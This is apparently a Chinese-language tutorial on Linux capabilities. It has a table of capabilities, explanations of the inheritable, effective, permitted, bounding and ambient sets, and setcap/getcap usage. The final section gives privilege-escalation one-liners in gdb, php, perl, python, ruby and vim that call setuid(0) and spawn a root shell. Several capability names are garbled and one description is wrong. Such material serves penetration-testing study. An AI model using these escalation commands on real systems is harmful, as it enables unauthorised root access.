capabilities机制
capabilities能力机制,作为Linux下的一种特殊属性,Linux为了细碎的权限控制管理而引入的一种权限分配机制,Linux 系统将 root 权限划分成更小、更独立的单元 ,允许进程拥有部分权限。这样可以避免不必要地授予完整的 root 权限,从而最大限度地降低风险
常见的capabilities及权限介绍
| capability名称 | 描述 |
|---|---|
| CAPAUDITCONTROL | 启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则 |
| CAPAUDITREAD | 允许通过 multicast netlink 套接字读取审计日志 |
| CAPAUDITWRITE | 将记录写入内核审计日志 |
| CAPBLOCKSUSPEND | 使用可以阻止系统挂起的特性 |
| CAP_CHOWN | 修改文件所有者的权限 |
| CAPDACOVERRIDE | 忽略文件的 DAC 访问限制 |
| CAP_DAC_READ_SEARCH | 忽略文件读及目录搜索的 DAC 访问限制 |
| CAP_FOWNER | 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制 |
| CAP_FSETID | 允许设置文件的 setuid 位 |
| CAPIPCLOCK | 允许锁定共享内存片段 |
| CAPIPCOWNER | 忽略 IPC 所有权检查 |
| CAP_KILL | 允许对不属于自己的进程发送信号 |
| CAP_LEASE | 允许修改文件锁的 FL_LEASE 标志 |
| CAPLINUXIMMUTABLE | 允许修改文件的 IMMUTABLE 和 APPEND 属性标志 |
| CAPMACADMIN | 允许 MAC 配置或状态更改 |
| CAPMACOVERRIDE | 忽略文件的 DAC 访问限制 |
| CAP_MKNOD | 允许使用 mknod() 系统调用 |
| CAPNETADMIN | 允许执行网络管理任务 |
| CAPNETBIND_SERVICE | 允许绑定到小于 1024 的端口 |
| CAPNETBROADCAST | 允许网络广播和多播访问 |
| CAPNETRAW | 允许使用原始套接字 |
| CAP_SETGID | 允许改变进程的 GID |
| CAP_SETFCAP | 允许为文件设置任意的 capabilities |
| CAP_SETPCAP | 参考 capabilities man page |
| CAP_SETUID | 允许改变进程的 UID |
| CAPSYSADMIN | 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 |
| CAPSYSBOOT | 允许重新启动系统 |
| CAPSYSCHROOT | 允许使用 chroot() 系统调用 |
| CAPSYSMODULE | 允许插入和删除内核模块 |
| CAPSYSNICE | 允许提升优先级及设置其他进程的优先级 |
| CAPSYSPACCT | 允许执行进程的 BSD 式审计 |
| CAPSYSPTRACE | 允许跟踪任何进程 |
| CAPSYSRAWIO | 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备 |
| CAPSYSRESOURCE | 忽略资源限制 |
| CAPSYSTIME | 允许改变系统时钟 |
| CAPSYSTTY_CONFIG | 允许配置 TTY 设备 |
| CAP_SYSLOG | 允许使用 syslog() 系统调用 |
| CAPWAKEALARM | 允许触发一些能唤醒系统的东西(比如 CLOCKBOOTTIMEALARM 计时器) |
capability set
继承集(Caplnh)
- 确认从父进程传递下来的功能
- 继承来自父进程的权限,保持权限一致性
- 进程不能获得其父进程不具备的能力
有效集(CapEff)
- 流程在任何时刻正在使用的实际能力
- 内核用来授予各种操作权限的一组能力,对于文件而言,这组能力可以是一个标志,指示该文件所允许的能力是否生效
- 有效集对于立即进行权限检查至关重要,它充当进程可以使用的活动功能集
允许集(CapPrm)
- 定义一个过程可以拥有的最大能力集
- 流程可以将某项能力从允许集提升到有效集,从而使其能够使用该能力,流程也可以从允许集中移除某些能力
- 限制了进程所能拥有的能力上限,确保进程不会超出其预定义的权限范围
边界集(CapBnd)
- 限制流程在其生命周期内所能达到的能力上限
- 即使一个进程在其可继承集或允许集中具有某种能力,除非它也在边界集中,否则它无法获得该能力
环境集(CapAmb)
- 允许在
execve系统调用期间保持某些功能,而 execve 系统调用通常会导致进程功能的完全重置 - 确保没有关联文件功能的非 SUID 程序可以保留某些权限
- 此集合中的能力受可继承集合和允许集合的约束,以确保它们不会超出进程允许的权限
Linux Capabilities管理
Linux为Cao提供了两个管理工具:libcap和libcap-ng
- libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。
- libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities
设置和删除cap
setcap cap_sys_admin+ep /usr/sbin/python #设置capabilities权限
setcap -r /usr/sbin/python #移除capabilities权限
权限提升
查找设置了Capabilities的可执行文件
getcap -r / 2>/dev/null
gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
php
php -r "posix_setuid(0); system('/bin/sh');"
perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
python
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
openssl
setcap =ep /usr/bin/openssl
=ep 等于赋予可执行文件所有权限
vim
vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
rvim
rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
结合GTFOBins使用命令